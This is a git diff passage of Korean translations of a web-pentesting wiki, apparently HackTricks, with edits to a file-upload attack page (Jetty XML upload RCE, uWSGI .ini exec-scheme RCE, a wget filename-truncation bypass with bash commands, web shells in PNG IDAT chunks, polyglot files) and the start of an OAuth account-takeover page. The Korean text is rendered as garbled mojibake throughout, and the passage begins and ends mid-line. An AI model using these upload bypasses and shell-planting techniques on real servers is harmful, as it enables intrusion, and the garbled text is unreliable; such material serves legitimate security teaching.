์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (PHP๋กœ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ ์Šคํฌ๋ฆฝํŠธ ๋‚ด์— ํฌํ•จ). +`.phar` ํŒŒ์ผ์€ Java์˜ `.jar`์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ PHP์šฉ์ด๋ฉฐ, **PHP ํŒŒ์ผ์ฒ˜๋Ÿผ ์‚ฌ์šฉ**๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (PHP๋กœ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ ์Šคํฌ๋ฆฝํŠธ ๋‚ด์— ํฌํ•จ). -`.inc` ํ™•์žฅ์ž๋Š” ๋•Œ๋•Œ๋กœ ํŒŒ์ผ์„ **๊ฐ€์ ธ์˜ค๋Š” ๋ฐ๋งŒ ์‚ฌ์šฉ๋˜๋Š”** PHP ํŒŒ์ผ์— ์‚ฌ์šฉ๋˜๋ฏ€๋กœ, ๋ˆ„๊ตฐ๊ฐ€ ์ด ํ™•์žฅ์ž๊ฐ€ **์‹คํ–‰๋˜๋„๋ก ํ—ˆ์šฉํ–ˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. +`.inc` ํ™•์žฅ์ž๋Š” ๋•Œ๋•Œ๋กœ **ํŒŒ์ผ์„ ๊ฐ€์ ธ์˜ค๋Š” ๋ฐ๋งŒ ์‚ฌ์šฉ๋˜๋Š”** PHP ํŒŒ์ผ์— ์‚ฌ์šฉ๋˜๋ฏ€๋กœ, ๋ˆ„๊ตฐ๊ฐ€ ์ด ํ™•์žฅ์ž๊ฐ€ **์‹คํ–‰๋˜๋„๋ก ํ—ˆ์šฉํ–ˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ## **Jetty RCE** -Jetty ์„œ๋ฒ„์— XML ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, [**์ƒˆ๋กœ์šด \*.xml ๋ฐ \*.war๊ฐ€ ์ž๋™์œผ๋กœ ์ฒ˜๋ฆฌ๋˜๊ธฐ ๋•Œ๋ฌธ์— RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** ๋”ฐ๋ผ์„œ ๋‹ค์Œ ์ด๋ฏธ์ง€์—์„œ ์–ธ๊ธ‰๋œ ๋Œ€๋กœ XML ํŒŒ์ผ์„ `$JETTY_BASE/webapps/`์— ์—…๋กœ๋“œํ•˜๊ณ  ์‰˜์„ ๊ธฐ๋Œ€ํ•˜์‹ญ์‹œ์˜ค! +Jetty ์„œ๋ฒ„์— XML ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, [RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **์ƒˆ๋กœ์šด \*.xml ๋ฐ \*.war๊ฐ€ ์ž๋™์œผ๋กœ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** ๋”ฐ๋ผ์„œ ๋‹ค์Œ ์ด๋ฏธ์ง€์—์„œ ์–ธ๊ธ‰๋œ ๋Œ€๋กœ XML ํŒŒ์ผ์„ `$JETTY_BASE/webapps/`์— ์—…๋กœ๋“œํ•˜๊ณ  ์…ธ์„ ๊ธฐ๋Œ€ํ•˜์‹ญ์‹œ์˜ค! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) @@ -106,7 +106,9 @@ Jetty ์„œ๋ฒ„์— XML ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, [**์ƒˆ๋กœ์šด \*.xml ์ด ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ํƒ์ƒ‰์€ ์›๋ณธ ์—ฐ๊ตฌ๋ฅผ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -์›๊ฒฉ ๋ช…๋ น ์‹คํ–‰ (RCE) ์ทจ์•ฝ์ ์€ `.ini` ๊ตฌ์„ฑ ํŒŒ์ผ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ uWSGI ์„œ๋ฒ„์—์„œ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. uWSGI ๊ตฌ์„ฑ ํŒŒ์ผ์€ "๋งˆ๋ฒ•" ๋ณ€์ˆ˜, ์ž๋ฆฌ ํ‘œ์‹œ์ž ๋ฐ ์—ฐ์‚ฐ์ž๋ฅผ ํฌํ•จํ•˜๊ธฐ ์œ„ํ•ด ํŠน์ • ๊ตฌ๋ฌธ์„ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. ํŠนํžˆ, `@(filename)`์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” '@' ์—ฐ์‚ฐ์ž๋Š” ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ํฌํ•จํ•˜๋„๋ก ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. uWSGI์—์„œ ์ง€์›๋˜๋Š” ๋‹ค์–‘ํ•œ ์Šคํ‚ด ์ค‘ "exec" ์Šคํ‚ด์€ ํŠนํžˆ ๊ฐ•๋ ฅํ•˜์—ฌ ํ”„๋กœ์„ธ์Šค์˜ ํ‘œ์ค€ ์ถœ๋ ฅ์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ ์›๊ฒฉ ๋ช…๋ น ์‹คํ–‰ ๋˜๋Š” ์ž„์˜ ํŒŒ์ผ ์“ฐ๊ธฐ/์ฝ๊ธฐ๋ฅผ ์œ„ํ•œ ์•…์˜์ ์ธ ๋ชฉ์ ์œผ๋กœ ์กฐ์ž‘๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์›๊ฒฉ ๋ช…๋ น ์‹คํ–‰ (RCE) ์ทจ์•ฝ์ ์€ `.ini` ๊ตฌ์„ฑ ํŒŒ์ผ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ uWSGI ์„œ๋ฒ„์—์„œ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. uWSGI ๊ตฌ์„ฑ ํŒŒ์ผ์€ "๋งค์ง" ๋ณ€์ˆ˜, ์ž๋ฆฌ ํ‘œ์‹œ์ž ๋ฐ ์—ฐ์‚ฐ์ž๋ฅผ ํฌํ•จํ•˜๊ธฐ ์œ„ํ•ด ํŠน์ • ๊ตฌ๋ฌธ์„ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. ํŠนํžˆ, `@(filename)`์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” '@' ์—ฐ์‚ฐ์ž๋Š” ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ํฌํ•จํ•˜๋„๋ก ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. uWSGI์—์„œ ์ง€์›๋˜๋Š” ๋‹ค์–‘ํ•œ ์Šคํ‚ด ์ค‘ "exec" ์Šคํ‚ด์€ ํŠนํžˆ ๊ฐ•๋ ฅํ•˜์—ฌ ํ”„๋กœ์„ธ์Šค์˜ ํ‘œ์ค€ ์ถœ๋ ฅ์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ `.ini` ๊ตฌ์„ฑ ํŒŒ์ผ์ด ์ฒ˜๋ฆฌ๋  ๋•Œ ์›๊ฒฉ ๋ช…๋ น ์‹คํ–‰ ๋˜๋Š” ์ž„์˜ ํŒŒ์ผ ์“ฐ๊ธฐ/์ฝ๊ธฐ๋ฅผ ์œ„ํ•œ ์•…์˜์ ์ธ ๋ชฉ์ ์œผ๋กœ ์กฐ์ž‘๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +๋‹ค์Œ์€ ๋‹ค์–‘ํ•œ ์Šคํ‚ด์„ ๋ณด์—ฌ์ฃผ๋Š” ์œ ํ•ดํ•œ `uwsgi.ini` ํŒŒ์ผ์˜ ์˜ˆ์ž…๋‹ˆ๋‹ค: ```ini [uwsgi] ; read from a symbol @@ -130,8 +132,8 @@ uWSGI์˜ ๊ตฌ์„ฑ ํŒŒ์ผ ํŒŒ์‹ฑ์˜ ๋А์Šจํ•œ ํŠน์„ฑ์„ ์ดํ•ดํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š” ## **wget ํŒŒ์ผ ์—…๋กœ๋“œ/SSRF ํŠธ๋ฆญ** -์ผ๋ถ€ ๊ฒฝ์šฐ, ์„œ๋ฒ„๊ฐ€ **`wget`**์„ ์‚ฌ์šฉํ•˜์—ฌ **ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œ**ํ•˜๊ณ  **URL**์„ **์ง€์ •**ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ, ์ฝ”๋“œ๋Š” ๋‹ค์šด๋กœ๋“œ๋œ ํŒŒ์ผ์˜ ํ™•์žฅ์ž๊ฐ€ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ์— ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์—ฌ ํ—ˆ์šฉ๋œ ํŒŒ์ผ๋งŒ ๋‹ค์šด๋กœ๋“œ๋˜๋„๋ก ๋ณด์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ **์ด ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.**\ -**๋ฆฌ๋ˆ…์Šค**์—์„œ **ํŒŒ์ผ ์ด๋ฆ„**์˜ **์ตœ๋Œ€** ๊ธธ์ด๋Š” **255**์ž์ด์ง€๋งŒ, **wget**์€ ํŒŒ์ผ ์ด๋ฆ„์„ **236**์ž๋กœ ์ž˜๋ผ๋ƒ…๋‹ˆ๋‹ค. **"A"\*232+".php"+".gif"**๋ผ๋Š” ํŒŒ์ผ์„ **๋‹ค์šด๋กœ๋“œ**ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ํŒŒ์ผ ์ด๋ฆ„์€ **๊ฒ€์‚ฌ**๋ฅผ **์šฐํšŒ**ํ•ฉ๋‹ˆ๋‹ค(์ด ์˜ˆ์—์„œ **".gif"**๋Š” **์œ ํšจํ•œ** ํ™•์žฅ์ž์ž…๋‹ˆ๋‹ค) ๊ทธ๋Ÿฌ๋‚˜ `wget`์€ ํŒŒ์ผ ์ด๋ฆ„์„ **"A"\*232+".php"**๋กœ **๋ณ€๊ฒฝ**ํ•ฉ๋‹ˆ๋‹ค. +์ผ๋ถ€ ๊ฒฝ์šฐ, ์„œ๋ฒ„๊ฐ€ **`wget`**์„ ์‚ฌ์šฉํ•˜์—ฌ **ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œ**ํ•˜๊ณ  **URL**์„ **์ง€์ •**ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ, ์ฝ”๋“œ๋Š” ๋‹ค์šด๋กœ๋“œ๋œ ํŒŒ์ผ์˜ ํ™•์žฅ์ž๊ฐ€ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ์— ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์—ฌ ํ—ˆ์šฉ๋œ ํŒŒ์ผ๋งŒ ๋‹ค์šด๋กœ๋“œ๋˜๋„๋ก ๋ณด์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ **์ด ๊ฒ€์‚ฌ๋Š” ์šฐํšŒ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.**\ +**๋ฆฌ๋ˆ…์Šค**์—์„œ **ํŒŒ์ผ ์ด๋ฆ„**์˜ **์ตœ๋Œ€** ๊ธธ์ด๋Š” **255**์ž์ด์ง€๋งŒ, **wget**์€ ํŒŒ์ผ ์ด๋ฆ„์„ **236**์ž๋กœ ์ž˜๋ผ๋ƒ…๋‹ˆ๋‹ค. **"A"\*232+".php"+".gif"**๋ผ๋Š” ํŒŒ์ผ์„ **๋‹ค์šด๋กœ๋“œ**ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ํŒŒ์ผ ์ด๋ฆ„์€ **๊ฒ€์‚ฌ**๋ฅผ **์šฐํšŒ**ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค(์ด ์˜ˆ์—์„œ **".gif"**๋Š” **์œ ํšจํ•œ** ํ™•์žฅ์ž์ž…๋‹ˆ๋‹ค) ๊ทธ๋Ÿฌ๋‚˜ `wget`์€ ํŒŒ์ผ ์ด๋ฆ„์„ **"A"\*232+".php"**๋กœ **๋ณ€๊ฒฝ**ํ•ฉ๋‹ˆ๋‹ค. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -178,7 +180,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= - \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ์ฝ˜ํ…์ธ ๋ฅผ ์—…๋กœ๋“œํ•˜์—ฌ ์„œ๋ฒ„์— **์•ˆํ‹ฐ๋ฐ”์ด๋Ÿฌ์Šค**๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. - ํŒŒ์ผ ์—…๋กœ๋“œ ์‹œ **ํฌ๊ธฐ ์ œํ•œ**์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. -์—ฌ๊ธฐ ํŒŒ์ผ ์—…๋กœ๋“œ๋ฅผ ํ†ตํ•ด ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” 10๊ฐ€์ง€ ๋ชฉ๋ก์ด ์žˆ์Šต๋‹ˆ๋‹ค (์ถœ์ฒ˜: [์—ฌ๊ธฐ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +์—ฌ๊ธฐ ์—…๋กœ๋“œ๋ฅผ ํ†ตํ•ด ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” 10๊ฐ€์ง€ ๋ชฉ๋ก์ด ์žˆ์Šต๋‹ˆ๋‹ค (์ถœ์ฒ˜: [์—ฌ๊ธฐ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: ์›น์‰˜ / RCE 2. **SVG**: ์ €์žฅ๋œ XSS / SSRF / XXE @@ -289,17 +291,17 @@ pop graphic-context PNG ํŒŒ์ผ์˜ IDAT ์ฒญํฌ์— PHP ์…ธ์„ ์‚ฝ์ž…ํ•˜๋ฉด ํŠน์ • ์ด๋ฏธ์ง€ ์ฒ˜๋ฆฌ ์ž‘์—…์„ ํšจ๊ณผ์ ์œผ๋กœ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. PHP-GD์˜ `imagecopyresized` ๋ฐ `imagecopyresampled` ํ•จ์ˆ˜๋Š” ๊ฐ๊ฐ ์ด๋ฏธ์ง€๋ฅผ ํฌ๊ธฐ ์กฐ์ •ํ•˜๊ณ  ์žฌ์ƒ˜ํ”Œ๋งํ•˜๋Š” ๋ฐ ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋˜๋ฏ€๋กœ ์ด ๋งฅ๋ฝ์—์„œ ํŠนํžˆ ๊ด€๋ จ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฝ์ž…๋œ PHP ์…ธ์ด ์ด๋Ÿฌํ•œ ์ž‘์—…์˜ ์˜ํ–ฅ์„ ๋ฐ›์ง€ ์•Š๋Š” ๋Šฅ๋ ฅ์€ ํŠน์ • ์‚ฌ์šฉ ์‚ฌ๋ก€์— ์žˆ์–ด ์ค‘์š”ํ•œ ์žฅ์ ์ž…๋‹ˆ๋‹ค. -์ด ๊ธฐ์ˆ ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ํƒ๊ตฌ, ๋ฐฉ๋ฒ•๋ก  ๋ฐ ์ž ์žฌ์  ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์€ ๋‹ค์Œ ๊ธฐ์‚ฌ์—์„œ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). ์ด ์ž๋ฃŒ๋Š” ํ”„๋กœ์„ธ์Šค์™€ ๊ทธ ์˜๋ฏธ์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ ์ดํ•ด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. +์ด ๊ธฐ์ˆ ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ํƒ์ƒ‰, ๋ฐฉ๋ฒ•๋ก  ๋ฐ ์ž ์žฌ์  ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์€ ๋‹ค์Œ ๊ธฐ์‚ฌ์—์„œ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). ์ด ์ž๋ฃŒ๋Š” ํ”„๋กœ์„ธ์Šค์™€ ๊ทธ ์˜๋ฏธ์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ ์ดํ•ด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์ •๋ณด๋Š”: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## ํด๋ฆฌ๊ธ€๋กฏ ํŒŒ์ผ +## ๋‹ค์ค‘ํ˜• ํŒŒ์ผ -ํด๋ฆฌ๊ธ€๋กฏ ํŒŒ์ผ์€ ์‚ฌ์ด๋ฒ„ ๋ณด์•ˆ์—์„œ ๋…ํŠนํ•œ ๋„๊ตฌ๋กœ ์ž‘์šฉํ•˜๋ฉฐ, ์—ฌ๋Ÿฌ ํŒŒ์ผ ํ˜•์‹์—์„œ ๋™์‹œ์— ์œ ํšจํ•˜๊ฒŒ ์กด์žฌํ•  ์ˆ˜ ์žˆ๋Š” ์นด๋ฉœ๋ ˆ์˜จ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค. ํฅ๋ฏธ๋กœ์šด ์˜ˆ๋กœ๋Š” GIF์™€ RAR ์•„์นด์ด๋ธŒ๋กœ ๊ธฐ๋Šฅํ•˜๋Š” ํ•˜์ด๋ธŒ๋ฆฌ๋“œ์ธ [GIFAR](https://en.wikipedia.org/wiki/Gifar)๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํŒŒ์ผ์€ ์ด ์กฐํ•ฉ์— ๊ตญํ•œ๋˜์ง€ ์•Š์œผ๋ฉฐ, GIF์™€ JS ๋˜๋Š” PPT์™€ JS์™€ ๊ฐ™์€ ์กฐํ•ฉ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. +๋‹ค์ค‘ํ˜• ํŒŒ์ผ์€ ์‚ฌ์ด๋ฒ„ ๋ณด์•ˆ์—์„œ ๋…ํŠนํ•œ ๋„๊ตฌ๋กœ ์ž‘์šฉํ•˜๋ฉฐ, ์—ฌ๋Ÿฌ ํŒŒ์ผ ํ˜•์‹์—์„œ ๋™์‹œ์— ์œ ํšจํ•˜๊ฒŒ ์กด์žฌํ•  ์ˆ˜ ์žˆ๋Š” ์นด๋ฉœ๋ ˆ์˜จ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค. ํฅ๋ฏธ๋กœ์šด ์˜ˆ๋กœ๋Š” [GIFAR](https://en.wikipedia.org/wiki/Gifar)๊ฐ€ ์žˆ์œผ๋ฉฐ, ์ด๋Š” GIF์™€ RAR ์•„์นด์ด๋ธŒ๋กœ์„œ ๊ธฐ๋Šฅํ•˜๋Š” ํ•˜์ด๋ธŒ๋ฆฌ๋“œ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํŒŒ์ผ์€ ์ด ์กฐํ•ฉ์— ๊ตญํ•œ๋˜์ง€ ์•Š์œผ๋ฉฐ, GIF์™€ JS ๋˜๋Š” PPT์™€ JS์™€ ๊ฐ™์€ ์กฐํ•ฉ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. -ํด๋ฆฌ๊ธ€๋กฏ ํŒŒ์ผ์˜ ํ•ต์‹ฌ ์œ ์šฉ์„ฑ์€ ํŒŒ์ผ ์œ ํ˜•์— ๋”ฐ๋ผ ํŒŒ์ผ์„ ๊ฒ€์‚ฌํ•˜๋Š” ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์— ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์–‘ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ผ๋ฐ˜์ ์ธ ๊ด€ํ–‰์€ JPEG, GIF ๋˜๋Š” DOC์™€ ๊ฐ™์€ ํŠน์ • ํŒŒ์ผ ์œ ํ˜•๋งŒ ์—…๋กœ๋“œ๋ฅผ ํ—ˆ์šฉํ•˜์—ฌ ์ž ์žฌ์ ์œผ๋กœ ํ•ด๋กœ์šด ํ˜•์‹(์˜ˆ: JS, PHP ๋˜๋Š” Phar ํŒŒ์ผ)์œผ๋กœ ์ธํ•œ ์œ„ํ—˜์„ ์™„ํ™”ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํด๋ฆฌ๊ธ€๋กฏ์€ ์—ฌ๋Ÿฌ ํŒŒ์ผ ์œ ํ˜•์˜ ๊ตฌ์กฐ์  ๊ธฐ์ค€์„ ์ค€์ˆ˜ํ•จ์œผ๋กœ์จ ์ด๋Ÿฌํ•œ ์ œํ•œ์„ ์€๋ฐ€ํ•˜๊ฒŒ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋‹ค์ค‘ํ˜• ํŒŒ์ผ์˜ ํ•ต์‹ฌ ์œ ์šฉ์„ฑ์€ ํŒŒ์ผ ์œ ํ˜•์— ๋”ฐ๋ผ ํŒŒ์ผ์„ ๊ฒ€์‚ฌํ•˜๋Š” ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์— ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์–‘ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ผ๋ฐ˜์ ์ธ ๊ด€ํ–‰์€ JPEG, GIF ๋˜๋Š” DOC์™€ ๊ฐ™์€ ํŠน์ • ํŒŒ์ผ ์œ ํ˜•๋งŒ ์—…๋กœ๋“œ๋ฅผ ํ—ˆ์šฉํ•˜์—ฌ ์ž ์žฌ์ ์œผ๋กœ ํ•ด๋กœ์šด ํ˜•์‹(์˜ˆ: JS, PHP ๋˜๋Š” Phar ํŒŒ์ผ)์œผ๋กœ ์ธํ•œ ์œ„ํ—˜์„ ์™„ํ™”ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋‹ค์ค‘ํ˜• ํŒŒ์ผ์€ ์—ฌ๋Ÿฌ ํŒŒ์ผ ์œ ํ˜•์˜ ๊ตฌ์กฐ์  ๊ธฐ์ค€์„ ์ค€์ˆ˜ํ•จ์œผ๋กœ์จ ์ด๋Ÿฌํ•œ ์ œํ•œ์„ ์€๋ฐ€ํ•˜๊ฒŒ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -๊ทธ๋“ค์˜ ์ ์‘์„ฑ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ , ํด๋ฆฌ๊ธ€๋กฏ์€ ํ•œ๊ณ„์— ์ง๋ฉดํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ํด๋ฆฌ๊ธ€๋กฏ์ด PHAR ํŒŒ์ผ(PHp ARchive)๊ณผ JPEG๋ฅผ ๋™์‹œ์— ํฌํ•จํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ์—…๋กœ๋“œ์˜ ์„ฑ๊ณต ์—ฌ๋ถ€๋Š” ํ”Œ๋žซํผ์˜ ํŒŒ์ผ ํ™•์žฅ์ž ์ •์ฑ…์— ๋‹ฌ๋ ค ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‹œ์Šคํ…œ์ด ํ—ˆ์šฉ๋˜๋Š” ํ™•์žฅ์ž์— ๋Œ€ํ•ด ์—„๊ฒฉํ•˜๋‹ค๋ฉด, ํด๋ฆฌ๊ธ€๋กฏ์˜ ๋‹จ์ˆœํ•œ ๊ตฌ์กฐ์  ์ด์ค‘์„ฑ๋งŒ์œผ๋กœ๋Š” ์—…๋กœ๋“œ๋ฅผ ๋ณด์žฅํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. +๊ทธ๋“ค์˜ ์ ์‘์„ฑ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ , ๋‹ค์ค‘ํ˜• ํŒŒ์ผ์€ ํ•œ๊ณ„์— ์ง๋ฉดํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๋‹ค์ค‘ํ˜• ํŒŒ์ผ์ด PHAR ํŒŒ์ผ(PHp ARchive)๊ณผ JPEG๋ฅผ ๋™์‹œ์— ํฌํ•จํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ์—…๋กœ๋“œ์˜ ์„ฑ๊ณต ์—ฌ๋ถ€๋Š” ํ”Œ๋žซํผ์˜ ํŒŒ์ผ ํ™•์žฅ์ž ์ •์ฑ…์— ๋‹ฌ๋ ค ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‹œ์Šคํ…œ์ด ํ—ˆ์šฉ๋˜๋Š” ํ™•์žฅ์ž์— ๋Œ€ํ•ด ์—„๊ฒฉํ•˜๋‹ค๋ฉด, ๋‹ค์ค‘ํ˜• ํŒŒ์ผ์˜ ๋‹จ์ˆœํ•œ ๊ตฌ์กฐ์  ์ด์ค‘์„ฑ๋งŒ์œผ๋กœ๋Š” ์—…๋กœ๋“œ๋ฅผ ๋ณด์žฅํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์ •๋ณด๋Š”: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md index 57e189782..528a6f01f 100644 --- a/src/pentesting-web/oauth-to-account-takeover.md +++ b/src/pentesting-web/oauth-to-account-takeover.md @@ -4,25 +4,25 @@ ## Basic Information -OAuth๋Š” ๋‹ค์–‘ํ•œ ๋ฒ„์ „์„ ์ œ๊ณตํ•˜๋ฉฐ, ๊ธฐ๋ณธ์ ์ธ ํ†ต์ฐฐ๋ ฅ์€ [OAuth 2.0 documentation](https://oauth.net/2/)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋…ผ์˜๋Š” ์ฃผ๋กœ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)์— ์ค‘์ ์„ ๋‘๋ฉฐ, **์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์‚ฌ์šฉ์ž ๊ณ„์ •์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ์ธ์ฆ ํ”„๋ ˆ์ž„์›Œํฌ**๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค (์ธ์ฆ ์„œ๋ฒ„). +OAuth๋Š” ๋‹ค์–‘ํ•œ ๋ฒ„์ „์„ ์ œ๊ณตํ•˜๋ฉฐ, ๊ธฐ๋ณธ์ ์ธ ํ†ต์ฐฐ๋ ฅ์€ [OAuth 2.0 documentation](https://oauth.net/2/)์—์„œ ํ™•์ธํ•  